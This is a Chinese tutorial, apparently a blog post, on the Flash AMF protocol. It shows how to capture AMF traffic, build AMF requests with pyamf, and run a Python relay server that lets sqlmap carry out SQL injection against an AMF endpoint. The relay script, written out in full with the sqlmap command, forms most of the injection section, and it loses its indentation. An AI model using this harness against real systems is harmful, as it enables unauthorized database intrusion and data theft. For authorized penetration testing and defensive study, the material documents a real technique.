AMF(Action Message Format)是Flash与服务端通信的一种常见的二进制编码模式,其传输效率高,可以在HTTP层面上传输。在HTTP中使用application/x-amf来表示amf的消息格式。

1、AMF协议

burp suite抓下的包:

抓包情况

hex表示

hex

wiki上的AMF格式说明

tu

header个数为0时,就没有header结构内容。

2、charles解析AMF

charles下载地址

使用charles抓包,可自动解析AMF格式。

charles

参数在body中

参数3

3、python构造amf包

安装pyamf,python -m pip install pyamf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import uuid
import pyamf
from pyamf import remoting
from pyamf.flex import messaging
msg= messaging.RemotingMessage(messageId=str(uuid.uuid1()).upper(),\
clientId=str(uuid.uuid1()).upper(),\
operation='A_haveuser',\
destination='actionR',\
timeTolive=0,\
timestamp=0,\
source=None
)
msg.body = ['test']
msg.headers['DSEndpoint'] = None
msg.headers['DSId'] = str(uuid.uuid1()).upper()
req = remoting.Request('null', body=(msg,))
env = remoting.Envelope(amfVersion=pyamf.AMF3)
env.bodies = [('/1',req)]
data = bytes(remoting.encode(env).read())

4、中转注入

使用SQLMAP进行自动化注入时,需要搭建中转注入环境,使用PYTHON BaseHTTPServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
class MyHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
path = self.path
path = path[path.find('id=')+3:]
try:
req = requests.post(url=url,data=data,headers={'Content-Type':'application/x-amf'})
resp = remoting.decode(req.content)
html = resp.bodies[0][1].body.body
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write(html)
except Exception as e:
print str(e)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

sqlmap 注入命令:python sqlmap.py -u “http://127.0.0.1/?id=1“ -p id

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
#coding:utf8
import uuid
import pyamf
import requests
import urllib
from pyamf import remoting
from pyamf.flex import messaging
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
class MyHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
path = self.path
path = path[path.find('id=')+3:]
print path
msg= messaging.RemotingMessage(messageId=str(uuid.uuid1()).upper(),\
clientId=str(uuid.uuid1()).upper(),\
operation='A_haveuser',\
destination='actionR',\
timeTolive=0,\
timestamp=0,\
source=None
)
msg.body = [urllib.unquote(path)]
msg.headers['DSEndpoint'] = None
msg.headers['DSId'] = str(uuid.uuid1()).upper()
req = remoting.Request('null', body=(msg,))
env = remoting.Envelope(amfVersion=pyamf.AMF3)
env.bodies = [('/1',req)]
data = bytes(remoting.encode(env).read())
url = 'xxxx'
try:
req = requests.post(url=url,data=data,headers={'Content-Type':'application/x-amf'})
resp = remoting.decode(req.content)
html = resp.bodies[0][1].body.body
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write(html)
except Exception as e:
print str(e)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

参考链接